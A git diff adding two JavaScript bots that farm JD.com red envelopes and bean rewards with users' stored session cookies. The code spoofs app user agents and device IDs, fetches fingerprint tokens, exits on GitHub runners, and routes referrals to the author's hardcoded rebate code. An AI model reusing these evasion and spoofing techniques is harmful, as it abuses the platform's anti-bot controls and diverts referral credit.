[https://github.com/wei/git-sync](https://github.com/wei/git-sync) +- [https://github.com/repo-sync/github-sync](https://github.com/repo-sync/github-sync) diff --git a/backUp/gua_1111RedEnvelope.js b/backUp/gua_1111RedEnvelope.js new file mode 100644 index 0000000..921b514 --- /dev/null +++ b/backUp/gua_1111RedEnvelope.js @@ -0,0 +1,351 @@ +/* +双十一无门槛红包🧧 +ck1助力 作者 +其余助力ck1 +https://u.jd.com/yI2EGVm +跳转到app 可查看助力情况 +0 0,8,20,22 * * * gua_1111RedEnvelope.js +*/ + +let rebateCodes = '' + +const $ = new Env('第二轮无门槛红包🧧'); +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +const notify = $.isNode() ? require('./sendNotify') : ''; +const Faker = $.isNode() ? require('./sign_graphics_validate.js') : ''; +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], + cookie = ''; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} +rebateCodes = $.isNode() ? (process.env.gua_redEnvelope_rebateCode ? process.env.gua_redEnvelope_rebateCode : `${rebateCodes}`) : ($.getdata('gua_redEnvelope_rebateCode') ? $.getdata('gua_redEnvelope_rebateCode') : `${rebateCodes}`); + +rebateCode = '' +message = '' +newCookie = '' +resMsg = '' +const activeEndTime = '2021/11/12 00:00:00+08:00';//活动结束时间 +let nowTime = new Date().getTime() + new Date().getTimezoneOffset()*60*1000 + 8*60*60*1000; +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/', { + "open-url": "https://bean.m.jd.com/" + }); + return; + } + if (nowTime > new Date(activeEndTime).getTime()) { + //活动结束后弹窗提醒 + $.msg($.name, '活动已结束', `请删除此脚本\n咱江湖再见`); + if ($.isNode()) await notify.sendNotify($.name + '活动已结束', `请删除此脚本\n咱江湖再见`); + return + } + $.shareCode = 'zZDrk' + for (let i = 0; i < cookiesArr.length; i++) { + cookie = cookiesArr[i]; + if (cookie) { + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + console.log(`\n\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + await getUA() + await run(); + } + } + if(message){ + $.msg($.name, ``, `${message}\nhttps://u.jd.com/yI2EGVm\n\n跳转到app 可查看助力情况`); + if ($.isNode()){ + await notify.sendNotify(`${$.name}`, `${message}\n\nhttps://u.jd.com/yI2EGVm\n跳转到app 可查看助力情况`); + } + } +})() + .catch((e) => $.logErr(e)) + .finally(() => $.done()) + +async function run(){ + try{ + resMsg = '' + let s = 0 + let t = 1 + do{ + $.flag = 0 + newCookie = '' + await getUrl() + if(!$.url1){ + console.log('获取url1失败') + t = 0 + break + } + await getUrl1() + if(!$.url2){ + console.log('获取url2失败') + t = 0 + break + } + $.actId = $.url2.match(/mall\/active\/([^/]+)\/index\.html/) && $.url2.match(/mall\/active\/([^/]+)\/index\.html/)[1] || '2GdKXzvywVytLvcJTk2K3pLtDEHq' + if(Faker){ + let arr = await Faker.getBody($.UA,$.url2) + await getEid(arr) + } + if(!$.eid){ + $.eid = -1 + } + if(s == 0){ + await getCoupons($.shareCode,1) + }else{ + await getCoupons('',1) + } + s++ + if($.flag == 1){ + await $.wait(parseInt(Math.random() * 5000 + 3000, 10)) + } + }while ($.flag == 1 && s < 5) + if($.index == 1 && t == 1){ + await $.wait(parseInt(Math.random() * 2000 + 1000, 10)) + await shareUnionCoupon() + } + if(resMsg){ + message += `【京东账号${$.index}】${$.nickName || $.UserName}\n${resMsg}` + } + await $.wait(parseInt(Math.random() * 2000 + 2000, 10)) + }catch(e){ + console.log(e) + } +} +function getCoupons(shareId = '',type = 1) { + return new Promise(resolve => { + let opts = { + url: `https://api.m.jd.com/api?functionId=getCoupons&appid=u&_=${Date.now()}&loginType=2&body={%22platform%22:4,%22unionActId%22:%2231134%22,%22actId%22:%22${$.actId}%22,%22d%22:%22${rebateCode}%22,%22unionShareId%22:%22${shareId}%22,%22type%22:${type},%22eid%22:%22${$.eid}%22}&client=apple&clientVersion=8.3.6&h5st=undefined`, + headers: { + "Accept-Language": "zh-cn", + "Accept-Encoding": "gzip, deflate, br", + 'Cookie': `${cookie} ${newCookie}`, + "User-Agent": $.UA , + } + } + $.get(opts, async (err, resp, data) => { + try { + if (err) { + console.log(`${$.toStr(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + // console.log(data) + let res = $.toObj(data,data); + if(typeof res == 'object'){ + if(res.msg) console.log(res.msg) + if(res.msg.indexOf('上限') === -1 && res.msg.indexOf('登录') === -1){ + $.flag = 1 + } + if(shareId && typeof res.data !== 'undefined' && typeof res.data.joinNum !== 'undefined'){ + console.log(`当前${res.data.joinSuffix}:${res.data.joinNum}`) + } + if(res.code == 0 && res.data){ + let msg = '' + if(res.data.type == 1){ + msg = `获得[红包]🧧${res.data.discount}元 使用时间:${$.time('yyyy-MM-dd',res.data.beginTime)} ${$.time('yyyy-MM-dd',res.data.endTime)}` + }else if(res.data.type == 3){ + msg = `获得[优惠券]🎟️满${res.data.quota}减${res.data.discount} 使用时间:${$.time('yyyy-MM-dd',res.data.beginTime)} ${$.time('yyyy-MM-dd',res.data.endTime)}` + }else if(res.data.type == 6){ + msg = `获得[打折券]]🎫满${res.data.quota}打${res.data.discount*10}折 使用时间:${$.time('yyyy-MM-dd',res.data.beginTime)} ${$.time('yyyy-MM-dd',res.data.endTime)}` + }else{ + msg = `获得[未知]🎉${res.data.quota || ''} ${res.data.discount} 使用时间:${$.time('yyyy-MM-dd',res.data.beginTime)} ${$.time('yyyy-MM-dd',res.data.endTime)}` + console.log(data) + } + if(msg){ + resMsg += msg+'\n' + console.log(msg) + } + } + if(shareId && typeof res.data !== 'undefined' && typeof res.data.groupInfo !== 'undefined'){ + for(let i of res.data.groupInfo || []){ + if(i.status == 2){ + console.log(`助力满可以领取${i.info}元红包🧧`) + await $.wait(parseInt(Math.random() * 2000 + 2000, 10)) + await getCoupons('',2) + } + } + } + }else{ + console.log(data) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function shareUnionCoupon() { + return new Promise(resolve => { + let opts = { + url: `https://api.m.jd.com/api?functionId=shareUnionCoupon&appid=u&_=${Date.now()}&loginType=2&body={%22unionActId%22:%2231134%22,%22actId%22:%22${$.actId}%22,%22platform%22:4,%22unionShareId%22:%22${$.shareCode}%22,%22d%22:%22${rebateCode}%22,%22supportPic%22:2,%22supportLuckyCode%22:0,%22eid%22:%22${$.eid}%22}&client=apple&clientVersion=8.3.6`, + headers: { + "Accept-Language": "zh-cn", + "Accept-Encoding": "gzip, deflate, br", + 'Cookie': `${cookie} ${newCookie}`, + "User-Agent": $.UA , + } + } + $.get(opts, async (err, resp, data) => { + try { + if (err) { + console.log(`${$.toStr(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + // console.log(data) + let res = $.toObj(data,data); + if(typeof res == 'object'){ + if(res.code == 0 && res.data && res.data.shareUrl){ + $.shareCode = res.data.shareUrl.match(/\?s=([^&]+)/) && res.data.shareUrl.match(/\?s=([^&]+)/)[1] || '' + console.log('分享码:'+$.shareCode) + if($.shareCode) console.log(`以下账号会助力【京东账号${$.index}】${$.nickName || $.UserName}`) + } + }else{ + console.log(data) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + + +function getUrl1() { + return new Promise(resolve => { + const options = { + url: $.url1, + followRedirect:false, + headers: { + 'Cookie': `${cookie} ${newCookie}`, + "User-Agent": $.UA + } + } + $.get(options, async (err, resp, data) => { + try { + setActivityCookie(resp) + $.url2 = resp && resp['headers'] && (resp['headers']['location'] || resp['headers']['Location'] || '') || '' + $.url2 = decodeURIComponent($.url2) + $.url2 = $.url2.match(/(https:\/\/prodev[\.m]{0,}\.jd\.com\/mall[^'"]+)/) && $.url2.match(/(https:\/\/prodev[\.m]{0,}\.jd\.com\/mall[^'"]+)/)[1] || '' + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} + +function getUrl() { + return new Promise(resolve => { + const options = { + url: `https://u.jd.com/${rebateCode}?s=${$.shareCode}`, + followRedirect:false, + headers: { + 'Cookie': `${cookie} ${newCookie}`, + "User-Agent": $.UA + } + } + $.get(options, async (err, resp, data) => { + try { + setActivityCookie(resp) + $.url1 = data.match(/(https:\/\/u\.jd\.com\/jda[^']+)/) && data.match(/(https:\/\/u\.jd\.com\/jda[^']+)/)[1] || '' + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} +function setActivityCookie(resp){ + let setcookies = resp && resp['headers'] && (resp['headers']['set-cookie'] || resp['headers']['Set-Cookie'] || '') || '' + let setcookie = '' + if(setcookies){ + if(typeof setcookies != 'object'){ + setcookie = setcookies.split(',') + }else setcookie = setcookies + for (let ck of setcookie) { + let name = ck.split(";")[0].trim() + if(name.split("=")[1]){ + if(newCookie.indexOf(name.split("=")[1]) == -1) newCookie += name.replace(/ /g,'')+'; ' + } + } + } +} + +function getEid(arr) { + return new Promise(resolve => { + const options = { + url: `https://gia.jd.com/fcf.html?a=${arr.a}`, + body: `d=${arr.d}`, + headers: { + "Content-Type": "application/x-www-form-urlencoded;charset=UTF-8", + "User-Agent": $.UA + } + } + $.post(options, async (err, resp, data) => { + try { + if (err) { + console.log(`fcf: API查询请求失败 ‼️‼️`) + } else { + if (data.indexOf("*_*") > 0) { + data = data.split("*_*", 2); + data = JSON.parse(data[1]); + $.eid = data.eid + } else { + console.log(`京豆api返回数据为空,请检查自身原因`) + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} + +function getUA(){ + $.UA = `jdapp;iPhone;10.2.0;13.1.2;${randomString(40)};M/5.0;network/wifi;ADID/;model/iPhone8,1;addressid/2308460611;appBuild/167853;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 13_1_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1;` + rebateCode = 'yI2EGVm' + if($.index != 1){ + let arr = [rebateCodes,'yI2EGVm'] + rebateCode = arr[Math.floor(Math.random() * arr.length)] || rebateCode + if(!rebateCode) rebateCode = 'yI2EGVm' + } + console.log(rebateCode) +} +function randomString(e) { + e = e || 32; + let t = "abcdef0123456789", a = t.length, n = ""; + for (i = 0; i < e; i++) + n += t.charAt(Math.floor(Math.random() * a)); + return n +} + +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} + +// prettier-ignore +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} + + diff --git a/backUp/gua_MMdou.js b/backUp/gua_MMdou.js new file mode 100644 index 0000000..dff995e --- /dev/null +++ b/backUp/gua_MMdou.js @@ -0,0 +1,255 @@ +/* +// https://h5.m.jd.com/rn/42yjy8na6pFsq1cx9MJQ5aTgu3kX/index.html + +入口:APP首页-领京豆-升级赚京豆 +21 9 * * * https://raw.githubusercontent.com/smiek2221/scripts/master/gua_MMdou.js, tag=MM领京豆, enabled=true + +*/ + +const $ = new Env('MM领京豆'); +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +const notify = $.isNode() ? require('./sendNotify') : ''; + +const jdVersion = '10.1.2' +const iphoneVersion = [Math.ceil(Math.random()*2+12),Math.ceil(Math.random()*4)] +const UA = `jdapp;iPhone;${jdVersion};${Math.ceil(Math.random()*2+12)}.${Math.ceil(Math.random()*4)};${randomString(40)};network/wifi;model/iPhone12,1;addressid/0;appBuild/167802;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS ${iphoneVersion[0]}_${iphoneVersion[1]} like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1` +const UUID = UA.split(';') && UA.split(';')[4] || '' +function randomString(e) { + e = e || 32; + let t = "abcdef0123456789", a = t.length, n = ""; + for (i = 0; i < e; i++) + n += t.charAt(Math.floor(Math.random() * a)); + return n +} + +let cookiesArr = []; +let message = '' +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => { }; +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} + +!(async () => { + if (!cookiesArr[0]) { + $.msg('【京东账号一】宠汪汪积分兑换奖品失败', '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); + return + } + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + $.cookie = cookiesArr[i] + ''; + $.UserName = decodeURIComponent($.cookie.match(/pt_pin=([^; ]+)(?=;?)/) && $.cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.bean = 0 + console.log(`\n*****开始【京东账号${$.index}】${$.UserName}****\n`); + await run(); + if($.bean > 0) message += `【京东账号${$.index}】获得${$.bean}京豆\n` + } + } + if(message){ + $.msg($.name, ``, `${message}\n入口:APP首页-领京豆-升级赚京豆`); + if ($.isNode()){ + await notify.sendNotify(`${$.name}`, `${message}\n入口:APP首页-领京豆-升级赚京豆`); + } + } +})() +.catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') +}).finally(() => { + $.done(); +}) + +async function run() { + try{ + $.taskList = []; + await takePostRequest('beanTaskList') + await takePostRequest('morningGetBean') + console.log(`做任务\n`); + if($.viewAppHome && $.viewAppHome.takenTask == false){ + $.IconDoTaskFlag = 0 + console.log(`做任务:${$.viewAppHome.mainTitle};等待完成`); + await takePostRequest('beanHomeIconDoTask') + await $.wait(getRndInteger(2500, 3500)) + } + if($.viewAppHome && $.viewAppHome.doneTask == false){ + $.IconDoTaskFlag = 1 + console.log(`做任务:${$.viewAppHome.mainTitle}`); + await takePostRequest('beanHomeIconDoTask') + await $.wait(getRndInteger(1000, 1500)) + } + let s = 0 + do{ + s++; + await task() + await $.wait(getRndInteger(1000, 1500)) + await takePostRequest('beanTaskList1') + }while ($.taskFlag && s < 4) + + await $.wait(getRndInteger(1000, 1500)) + }catch (e) { + console.log(e); + } +} + +async function task() { + await $.wait(getRndInteger(1000, 1500)) + //做任务 + $.taskFlag = false + for (let i = 0; i < $.taskList.length; i++) { + $.oneTask = $.taskList[i]; + if ($.oneTask.status === 1) { + $.activityInfoList = $.oneTask.subTaskVOS; + for (let j = 0; j < $.activityInfoList.length; j++) { + $.taskFlag = true + $.oneActivityInfo = $.activityInfoList[j]; + console.log(`做任务:${$.oneActivityInfo.title || $.oneTask.taskName};等待完成`); + $.actionType = 0 + if($.oneTask.taskType == 9 || $.oneTask.taskType == 8){ + $.actionType = 1 + await takePostRequest('beanDoTask'); + await $.wait(getRndInteger($.oneTask.waitDuration && $.oneTask.waitDuration*1000 + 1000 || 6500, $.oneTask.waitDuration && $.oneTask.waitDuration*1000 + 2000 || 7000 )) + $.actionType = 0 + } + await takePostRequest('beanDoTask'); + await $.wait(getRndInteger(4000, 5500)) + } + }else if ($.oneTask.status === 2){ + console.log(`任务:${$.oneTask.taskName};已完成`); + }else{ + console.log(`任务:${$.oneTask.taskName};未能完成\n${JSON.stringify($.oneTask)}`); + } + } +} + +async function takePostRequest(type) { + let body = ``; + let myRequest = ``; + switch (type) { + case 'beanTaskList': + case 'beanTaskList1': + body = `{"viewChannel":"AppHome"}`; + myRequest = await getGetRequest(`beanTaskList`, escape(body)); + break; + case 'beanHomeIconDoTask': + body = `{"flag":"${$.IconDoTaskFlag}","viewChannel":"AppHome"}`; + myRequest = await getGetRequest(`beanHomeIconDoTask`, escape(body)); + break; + case 'beanDoTask': + body = `{"actionType":${$.actionType},"taskToken":"${$.oneActivityInfo.taskToken}"}`; + myRequest = await getGetRequest(`beanDoTask`, escape(body)); + break; + case 'morningGetBean': + body = `{"fp":"-1","shshshfp":"-1","shshshfpa":"-1","referUrl":"-1","userAgent":"-1","jda":"-1","rnVersion":"3.9"}`; + myRequest = await getGetRequest(`morningGetBean`, escape(body)); + break; + default: + console.log(`错误${type}`); + } + if (myRequest) { + return new Promise(async resolve => { + $.get(myRequest, (err, resp, data) => { + try { + // console.log(data); + dealReturn(type, data); + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) + } +} + +async function dealReturn(type, res) { + try { + data = JSON.parse(res); + } catch (e) { + console.log(`返回异常:${res}`); + return; + } + switch (type) { + case 'beanTaskList': + if (data.code == 0 && data.data) { + console.log(`当前等级:${data.data.curLevel || 0} 下一级可领取:${data.data.nextLevelBeanNum || 0}京豆`) + $.taskList = data.data.taskInfos && data.data.taskInfos || []; + $.viewAppHome = data.data.viewAppHome && data.data.viewAppHome || {}; + } else if (data.data && data.data.bizMsg) { + console.log(data.data.bizMsg); + } else { + console.log(res); + } + break; + case 'beanTaskList1': + if (data.code == 0 && data.data) { + $.taskList = data.data.taskInfos && data.data.taskInfos || []; + } else if (data.data && data.data.bizMsg) { + console.log(data.data.bizMsg); + } else { + console.log(res); + } + break; + case 'beanDoTask': + case 'beanHomeIconDoTask': + if (data.data && (data.data.bizMsg || data.data.remindMsg)) { + console.log((data.data.bizMsg || data.data.remindMsg)); + if(data.data.growthResult && data.data.growthResult.sceneLevelConfig){ + console.log(`获得:${data.data.growthResult.sceneLevelConfig.beanNum || 0}京豆`) + $.bean += Number(data.data.growthResult.sceneLevelConfig.beanNum) || 0 + if(!data.data.growthResult.sceneLevelConfig.beanNum){ + console.log(JSON.stringify(data.data.growthResult.sceneLevelConfig)) + } + } + } else { + console.log(res); + } + break; + case 'morningGetBean': + if (data.code == 0 && data.data && data.data.awardResultFlag+"" == "1") { + console.log(`获得:${data.data.beanNum || 0}京豆`) + $.bean += Number(data.data.beanNum) || 0 + } else if (data.data && data.data.bizMsg) { + console.log(data.data.bizMsg); + } else { + console.log(res); + } + break; + default: + console.log(`未判断的异常${type}`); + } +} +async function getGetRequest(type, body) { + let url = `https://api.m.jd.com/client.action?functionId=${type}&body=${body}&appid=ld&client=apple&clientVersion=${jdVersion}&networkType=wifi&osVersion=${iphoneVersion[0]}.${iphoneVersion[1]}&uuid=${UUID}&openudid=${UUID}`; + const method = `GET`; + const headers = { + "Accept": "*/*", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + 'Cookie': $.cookie, + "Referer": "https://h5.m.jd.com/", + "User-Agent": UA, + }; + return {url: url, method: method, headers: headers}; +} +// 随机数 +function getRndInteger(min, max) { + return Math.floor(Math.random() * (max - min) ) + min; +} +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} + + + +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`\ud83d\udd14${this.name}, \u5f00\u59cb!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}isShadowrocket(){return"undefined"!=typeof $rocket}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let 